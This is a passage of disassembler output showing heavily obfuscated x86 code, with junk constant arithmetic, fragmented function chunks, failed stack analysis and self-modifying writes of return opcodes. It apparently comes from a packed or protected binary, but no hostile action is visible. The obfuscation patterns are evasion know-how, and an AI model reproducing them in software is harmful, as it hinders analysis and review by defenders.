; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_44C925:				; CODE XREF: sub_448800:loc_43E610j
		or	edi, 774A4B4Dh
		sub	edi, 0C0F2CA5Ah
		xor	edi, 1744ADDEh
		push	offset loc_444F61
		jmp	nullsub_360
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_44C941:				; CODE XREF: sub_43B3A0+1E526j
		jg	loc_452E9F

loc_44C947:				; CODE XREF: sub_43B3A0:loc_44FA80j
		push	0D0034A3Dh
		call	sub_44B624
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_44C951:				; CODE XREF: sub_44279B:loc_43F82Bj
		jl	loc_4468B6
		adc	edi, esi
		xor	edi, eax
		not	ebx
		jmp	loc_4468B6
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_44C962:				; CODE XREF: sub_455400-13F02j
		and	ebx, edx

loc_44C964:				; CODE XREF: sub_455400:loc_450D23j
		cmp	dword ptr [ebp-108h], 43776569h
		jnz	loc_43C3E6
		jmp	loc_4424B7
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------

loc_44C979:				; DATA XREF: sub_44BC27o
		push	esi
		push	99FB5651h
		pop	esi
		add	esi, 557D9F6Ah
		rol	esi, 0Fh
		add	esi, 8567ADDCh
		jmp	loc_4515A8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C995:				; CODE XREF: dviuq5id:00459720j
		or	ebp, edx

; =============== S U B	R O U T	I N E =======================================



sub_44C997	proc near		; CODE XREF: sub_451A79:loc_44362Fp

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		push	91173068h
		pop	edi
		add	edi, 0D7D6261Bh
		sub	edi, 213260BBh
		jmp	loc_43D32A
sub_44C997	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C9B5:				; CODE XREF: dviuq5id:00440608j
		jnz	loc_44A38B
		shr	ebx, 12h
		or	ebx, 6231277Fh
		mov	edi, 0E04E2F11h
		jmp	loc_458346
; ---------------------------------------------------------------------------

loc_44C9CE:				; CODE XREF: dviuq5id:00444FEEj
		or	ebx, 1AF5017Ah
		push	offset loc_44DB5E
		jmp	loc_458E60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499A3

loc_44C9DE:				; CODE XREF: sub_4499A3+CD4Dj
		popf
		jmp	loc_4477E5
; END OF FUNCTION CHUNK	FOR sub_4499A3

; =============== S U B	R O U T	I N E =======================================



sub_44C9E4	proc near		; CODE XREF: dviuq5id:0044F5A1j
					; dviuq5id:00458B48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C808 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452147 SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		mov	eax, ecx
		jmp	loc_452147
sub_44C9E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C9F2:				; CODE XREF: dviuq5id:0044C755j
		popf
		xchg	edx, [esp]
		jmp	sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E30F

loc_44C9FB:				; CODE XREF: sub_44E30F+1Dj
		and	edx, 174DF1CDh
		call	sub_457CB8
; END OF FUNCTION CHUNK	FOR sub_44E30F

; =============== S U B	R O U T	I N E =======================================



sub_44CA06	proc near		; CODE XREF: dviuq5id:0044300Cj
					; sub_445110+EE91p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E87A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EA1A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043FAC1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00441F01 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044622F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044ED7F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00453E85 SIZE 0000001D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 35901FAh
		mov	[edx], eax
		jmp	loc_44ED7F
sub_44CA06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_44CA17:				; CODE XREF: sub_447A8A-7034j
		sub	edx, 0B2E610CEh
		xor	edx, 0C799356Bh
		add	edx, ds:4000F1h
		and	edx, 0C906846h
		push	offset loc_4419E0
		jmp	loc_44CFA9
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F623

loc_44CA39:				; CODE XREF: sub_43F623+16j
		jz	loc_451DC1

loc_44CA3F:				; CODE XREF: sub_44CF18+7508j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43F623
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0C2

loc_44CA44:				; CODE XREF: sub_44F0C2+3j
		jmp	loc_43BDDF
; END OF FUNCTION CHUNK	FOR sub_44F0C2
; ---------------------------------------------------------------------------
		jg	loc_44089E
		or	ebx, eax
		jns	loc_442CEE
		jmp	loc_451DC1
; ---------------------------------------------------------------------------
		pop	edx
		jmp	sub_44B70C
; ---------------------------------------------------------------------------

loc_44CA62:				; CODE XREF: dviuq5id:loc_43FD8Fj
		jz	loc_451BC9
		jmp	loc_450CDA
; ---------------------------------------------------------------------------

loc_44CA6D:				; DATA XREF: sub_4505B4-5515o
		jz	loc_43AA1E
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_44CA73:				; CODE XREF: sub_43D181:loc_45770Aj
		cmp	eax, 0FFFFFFFFh
		jz	loc_43AA1E
		mov	eax, [eax]
		jmp	loc_448290
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_44CA83:				; CODE XREF: sub_450217:loc_43A3F1j
					; sub_4505B4:loc_44B097j
		or	eax, eax
		jmp	loc_43AA08
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_44CA8A:				; CODE XREF: sub_443C86+75E6j
					; dviuq5id:00456D95j
		cdq
		or	edx, ebp

loc_44CA8D:				; CODE XREF: sub_43B48A+A387j
					; sub_448FC7:loc_448387j ...
		jmp	loc_44AF6B
; ---------------------------------------------------------------------------

loc_44CA92:				; CODE XREF: sub_43B48A+7j
					; sub_443C86+Aj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455981

loc_44CA95:				; CODE XREF: sub_455981-19341j
		jmp	loc_450C4B
; END OF FUNCTION CHUNK	FOR sub_455981

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CA9A	proc near		; CODE XREF: sub_44BB42-F6B5p
					; sub_440C61+4p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004395CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FAAD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444C93 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_43FAAD
sub_44CA9A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_44CAA2:				; CODE XREF: sub_4422EC+FECBj
		cmp	ebp, edi
		jmp	loc_44EEFA
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------

loc_44CAA9:				; CODE XREF: dviuq5id:0044E058j
		jnp	loc_452805
		jns	loc_43B806
		jmp	loc_453C63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_44CABA:				; CODE XREF: sub_453548-D497j
		pop	eax
		xor	eax, 331518A2h
		and	eax, 0E9178595h
		rol	eax, 1
		jmp	loc_44347C
; END OF FUNCTION CHUNK	FOR sub_453548
; ---------------------------------------------------------------------------
		and	ebp, 0B2A0BD41h
		jmp	loc_439E86
; ---------------------------------------------------------------------------
		push	ebx
		push	5F8AB6D0h
		pop	ebx
		and	ebx, 0D57D77Ch
		sub	ebx, 0BE3354F8h
		and	ebx, 0F672F43h
		add	ebx, 0F1FAD010h
		jmp	loc_45834F
; ---------------------------------------------------------------------------
		and	edi, 0F87DFE2Fh
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44CB03:				; CODE XREF: sub_43CC42:loc_440B44j
		jmp	loc_450828
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------

loc_44CB08:				; CODE XREF: dviuq5id:loc_456F96j
		jz	loc_43DF30
		jmp	loc_455D83
; ---------------------------------------------------------------------------

loc_44CB13:				; CODE XREF: dviuq5id:loc_43C537j
					; DATA XREF: sub_43CCD1+F166o
		push	eax
		push	0F206B804h
		pop	eax
		add	eax, 4D5CD8AFh
		jmp	loc_43C3FD
; ---------------------------------------------------------------------------

loc_44CB25:				; DATA XREF: dviuq5id:00451B80o
		mov	ds:dword_41D14C, eax
		lea	eax, nullsub_5
		mov	byte ptr [eax],	0C3h
		jmp	loc_44F6D0

; =============== S U B	R O U T	I N E =======================================



sub_44CB39	proc near		; CODE XREF: sub_406214+27p
					; sub_40DE1D+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004393F1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043FD31 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00440D8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442965 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00444404 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C9E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00447EAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451B36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453955 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004589BD SIZE 0000000D BYTES

		push	esi
		push	0F553FAEFh
		jmp	loc_4393F1
sub_44CB39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CB44:				; CODE XREF: dviuq5id:loc_4452DDj
		retn
; ---------------------------------------------------------------------------

loc_44CB45:				; CODE XREF: dviuq5id:00458EAFj
		jmp	loc_43A409
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_44CB4A:				; CODE XREF: sub_43D83D+19738j
		jmp	loc_4497FD
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44CB4F:				; CODE XREF: sub_43C2DA:loc_44BA4Cj
		add	eax, 0A38F4EC0h
		popf
		push	esi
		push	eax
		pop	esi
		xchg	esi, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		jmp	loc_44B0DC
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
		shl	eax, 1Fh
		jmp	loc_443CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_44CB6C:				; CODE XREF: sub_43C710-DD1j
		xchg	edi, [esp+4+var_4]
		push	edi
		push	0FF92B738h

loc_44CB75:				; CODE XREF: dviuq5id:loc_43C146j
		pop	edi
		sub	edi, 62B1F5F4h
		jmp	loc_441150
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_44CB81:				; CODE XREF: sub_45753F:loc_43FE51j
		pop	eax
		rol	eax, 8
		add	eax, 5FFC61BBh
		and	eax, 54D929h
		sub	eax, 0FB47ABBFh
		cmp	eax, 470DFF30h
		jmp	loc_4508AF
; END OF FUNCTION CHUNK	FOR sub_45753F

; =============== S U B	R O U T	I N E =======================================



sub_44CBA2	proc near		; CODE XREF: dviuq5id:00453455j
					; sub_446A9C+FB86p

; FUNCTION CHUNK AT 00439194 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00439A40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043A5FC SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0043ADE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C9C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F5B2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FBA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442F27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443874 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00445912 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448AD8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A117 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BD6E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044E233 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451982 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004548BA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00457E44 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00458014 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458A2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459026 SIZE 00000014 BYTES

		xchg	edi, [esp+0]
		pop	edi
		lea	eax, [ebp-12Dh]
		mov	[ebp-28h], eax

loc_44CBAF:				; CODE XREF: sub_44CBA2-13A0Bj
		push	4C8FC25h
		jmp	loc_44A117
sub_44CBA2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44CBB9:				; CODE XREF: sub_454094:loc_44BFBBj
		mov	edx, 71C2F5D1h
		xchg	eax, [ebp+0]
		jmp	loc_443029
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44CBC6:				; CODE XREF: sub_459385:loc_43DC23j
		jz	loc_454D69
		jmp	loc_43AD1F
; END OF FUNCTION CHUNK	FOR sub_459385
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_402. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44CBD2:				; CODE XREF: sub_443F7F-160j
		jmp	loc_44B0A9
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44CBD7:				; CODE XREF: sub_43FA59:loc_43E75Dj
		jl	loc_43E25A

loc_44CBDD:				; CODE XREF: dviuq5id:00445DEEj
		jmp	loc_439CE6
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		cmp	edx, 261699F5h
		jmp	loc_44377B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_44CBED:				; CODE XREF: sub_450407+15j
		or	edi, 17E43ED2h
		cmp	edi, 0F8B795ECh
		jmp	loc_4416F7
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44CBFE:				; CODE XREF: sub_43EB11+10DB1j
		push	edi
		push	59C4830Eh
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		jmp	loc_449510
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_356. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_44CC10:				; CODE XREF: sub_44250B+F75Ej
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------

loc_44CC15:				; CODE XREF: dviuq5id:0044B61Fj
		jmp	locret_44E14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A3E

loc_44CC1A:				; CODE XREF: sub_452A3E+Ej
		pushf
		push	35AE485Fh
		pop	ecx
		add	ecx, 36D25D6Eh
		sub	ecx, 5EDE5574h
		add	ecx, 94858968h
		popf
		jmp	loc_445ABF
; END OF FUNCTION CHUNK	FOR sub_452A3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44CC39:				; CODE XREF: sub_43C9A9:loc_44ED30j
		call	sub_4418CF

loc_44CC3E:				; CODE XREF: dviuq5id:loc_4427BBj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439E9D
		jmp	loc_44B3DD
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44CC4D:				; CODE XREF: sub_454267+2B6Fj
		push	4F0EA9D5h
		or	edi, 677FB0B7h
		jmp	loc_44564C
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_44CC5D:				; CODE XREF: dviuq5id:0043B8E5j
		or	ebp, 40356663h

; =============== S U B	R O U T	I N E =======================================



sub_44CC63	proc near		; CODE XREF: sub_458B23:loc_45238Bp

; FUNCTION CHUNK AT 0044BF4D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00458CFA SIZE 00000012 BYTES

		xchg	edx, [esp+0]

loc_44CC66:				; CODE XREF: dviuq5id:00458726j
		pop	edx
		sub	eax, ecx
		pop	ecx
		call	sub_448800

loc_44CC6F:				; CODE XREF: dviuq5id:004524C2j
		jmp	loc_44BF4D
sub_44CC63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_44CC74:				; CODE XREF: sub_44D9C6-6E6j
		jmp	loc_44910B
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_44CC79:				; CODE XREF: sub_43AE68+E679j
		jz	loc_4518DF
; END OF FUNCTION CHUNK	FOR sub_43AE68
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44CC7F:				; CODE XREF: sub_44846C-669Aj
		jmp	loc_451067
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
		popf
		jmp	loc_4518D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44CC8A:				; CODE XREF: sub_4525D0-244Ej
		xor	eax, 0A469B59Dh
		add	eax, 127E3437h
		push	offset sub_455B3A
		jmp	loc_44CCB6
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_44CCA0:				; CODE XREF: dviuq5id:00456E95j
					; dviuq5id:loc_4577E8j
		cmp	esi, 0F0728CCDh
		jmp	loc_43EE89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_44CCAB:				; CODE XREF: sub_450519:loc_459540j
		mov	ebp, 1FD1068Eh
		jmp	loc_4513C4
; END OF FUNCTION CHUNK	FOR sub_450519
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44CCB6:				; CODE XREF: sub_4525D0-5935j
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_44CCBB:				; CODE XREF: sub_449222:loc_455634j
		sub	ebx, 63DBCE83h
		xor	edi, 0D813A09Ah
		ror	ecx, 11h
		not	ebx
		push	ebp
		jmp	loc_45024B
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E109

loc_44CCD2:				; CODE XREF: sub_44E109+4AB1j
		call	sub_442503
		push	offset loc_43D578
		jmp	loc_43B5E1
; END OF FUNCTION CHUNK	FOR sub_44E109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_44CCE1:				; CODE XREF: sub_44A94D-7440j
		or	ebp, 5FBFBB37h
		cmp	ecx, edi
		jmp	loc_450527
; END OF FUNCTION CHUNK	FOR sub_44A94D

; =============== S U B	R O U T	I N E =======================================



sub_44CCEE	proc near		; DATA XREF: dviuq5id:0045196Ao

; FUNCTION CHUNK AT 0043E1C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004439CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CED6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044EDAD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044EE42 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00452DAA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00453F59 SIZE 0000000A BYTES

		mov	eax, [ebp+8]
		push	eax
		call	sub_4512BC
		cmp	dword ptr [ebp-8], 0
		jz	loc_44EE42
		jmp	loc_43E1C7
sub_44CCEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41D178, eax
		lea	eax, nullsub_186
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_186
; ---------------------------------------------------------------------------

loc_44CD1A:				; CODE XREF: dviuq5id:00443FFCj
		mov	eax, [esp]
		push	esi
		jmp	loc_439E54
; ---------------------------------------------------------------------------

loc_44CD23:				; CODE XREF: dviuq5id:004408E8j
		xor	eax, 479821E3h
		add	eax, ebp
		add	eax, 272695CCh
		mov	eax, [eax]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		push	eax
		jmp	loc_4537B4
; ---------------------------------------------------------------------------

loc_44CD3F:				; DATA XREF: sub_441C84:loc_44A221o
		add	edx, 0C65EE690h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44DA12
		jmp	loc_45129E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44CD56:				; CODE XREF: sub_440898:loc_4555DCj
		jnz	loc_43D4FE
		jmp	loc_44BC59
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44CD61:				; CODE XREF: sub_459385-109Ej
		shr	esi, 5
		jmp	loc_4555D4
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_44CD69:				; CODE XREF: sub_44084F:loc_447E07j
		jle	loc_458FA0
; END OF FUNCTION CHUNK	FOR sub_44084F

; =============== S U B	R O U T	I N E =======================================



sub_44CD6F	proc near		; CODE XREF: sub_45844D:loc_44B336p

; FUNCTION CHUNK AT 00443C1D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	ds:dword_44DE84, 0
		push	offset loc_449323
		jmp	loc_443C1D
sub_44CD6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44CD84:				; CODE XREF: sub_43CB4C:loc_45324Fj
		xor	ebx, 5852932Dh
		and	ebx, 5DE98C20h
		xor	ebx, 0F59BAD93h
		add	ebx, 1FB2397Ch
		xchg	ebx, [esp+0]
		jmp	loc_440564
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_44CDA4:				; CODE XREF: sub_440D0D+10DF9j
		mov	ebx, eax

loc_44CDA6:				; CODE XREF: sub_440D0D:loc_45330Cj
		call	sub_454E7C
		test	eax, eax
		setnz	byte ptr [ebp-1]
		jmp	sub_43E67C
; END OF FUNCTION CHUNK	FOR sub_440D0D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CDB6	proc near		; CODE XREF: sub_440D0Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B76B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449CC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451CFF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00451F0C SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_43B76B
sub_44CDB6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CDBF:				; CODE XREF: dviuq5id:00458C04j
		xor	ecx, 86693827h
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44CDC5:				; CODE XREF: sub_44E1C0+1778j
		add	ecx, 5D479729h
		add	ecx, ebp
		add	ecx, 0A3388948h
		mov	ecx, [ecx]
		xchg	ecx, [esp-0Ch+arg_4]
		push	edx
		pushf
		jmp	loc_44DE5E
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44CDDF:				; CODE XREF: sub_459804-14492j
		jb	loc_44E4BB
		jmp	loc_4587DD
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
		xor	edx, 8EDAFA95h
		test	ebp, 0F497A91Fh
		jmp	loc_4534A4
; ---------------------------------------------------------------------------
		mov	esi, [ebx]
		jmp	sub_45295E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_44CE02:				; CODE XREF: sub_4585FC:loc_45036Dj
		jnz	loc_43DE2C
		jmp	loc_454485
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------

loc_44CE0D:				; DATA XREF: sub_446A1C:loc_446A25o
		jo	loc_454FC9
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_446A25
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441881

loc_44CE28:				; CODE XREF: sub_441881:loc_43F2AFj
		rol	ebx, 1Eh
		sub	ebx, 5396CC51h
		add	ebx, 472E9FD2h
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_457C14
; END OF FUNCTION CHUNK	FOR sub_441881
; ---------------------------------------------------------------------------
		jbe	loc_43E20F
		xor	ebp, ecx
		jmp	sub_44A133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44CE4C:				; CODE XREF: sub_451EEC:loc_459654j
		pop	edi
		and	edi, 0AAEEABCEh
		test	edi, 10h
		jmp	loc_4476CD
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44CE5E:				; CODE XREF: sub_44E1C0+4j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnb	loc_458BC1
		sub	al, 99h
		jmp	loc_450F76
; END OF FUNCTION CHUNK	FOR sub_44E1C0

; =============== S U B	R O U T	I N E =======================================



sub_44CE73	proc near		; DATA XREF: sub_43A449:loc_44D5C0o
		call	sub_441C54
		push	offset loc_45876A
		jmp	nullsub_203
sub_44CE73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F51E

loc_44CE82:				; CODE XREF: sub_44F51E:loc_455071j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441EAC
		jmp	loc_441662
; END OF FUNCTION CHUNK	FOR sub_44F51E
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax

loc_44CE94:				; CODE XREF: dviuq5id:loc_448BC8j
		cmp	dword ptr [ebp-4], 0
		jz	loc_4513D8
		jmp	loc_457B1F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_44CEA4:				; CODE XREF: sub_443ECE:loc_44B06Aj
		jz	loc_449D60
		jmp	loc_45A615
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
		popf
		jmp	sub_451EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455C2B

loc_44CEB5:				; CODE XREF: dviuq5id:00451279j
					; sub_455C2B:loc_459761j
		add	edi, 0E4583B30h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_43D53C
		mov	byte ptr [eax],	0C3h
		jmp	sub_43D53C
; END OF FUNCTION CHUNK	FOR sub_455C2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_44CECC:				; CODE XREF: sub_43D53Cj
					; sub_446004:loc_442342j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_448742
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_44CED6:				; CODE XREF: sub_44CCEE+60CAj
		pop	eax
		and	eax, 0E0E9E7B9h
		sub	eax, 0A2BD335Bh
		xor	eax, 6A43B38Eh
		add	eax, 0C66A4969h
		jmp	loc_4439CC
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------
		or	edx, 67AD0DDBh
		jmp	sub_44846C

; =============== S U B	R O U T	I N E =======================================



sub_44CEFF	proc near		; CODE XREF: sub_439C09+4F70p
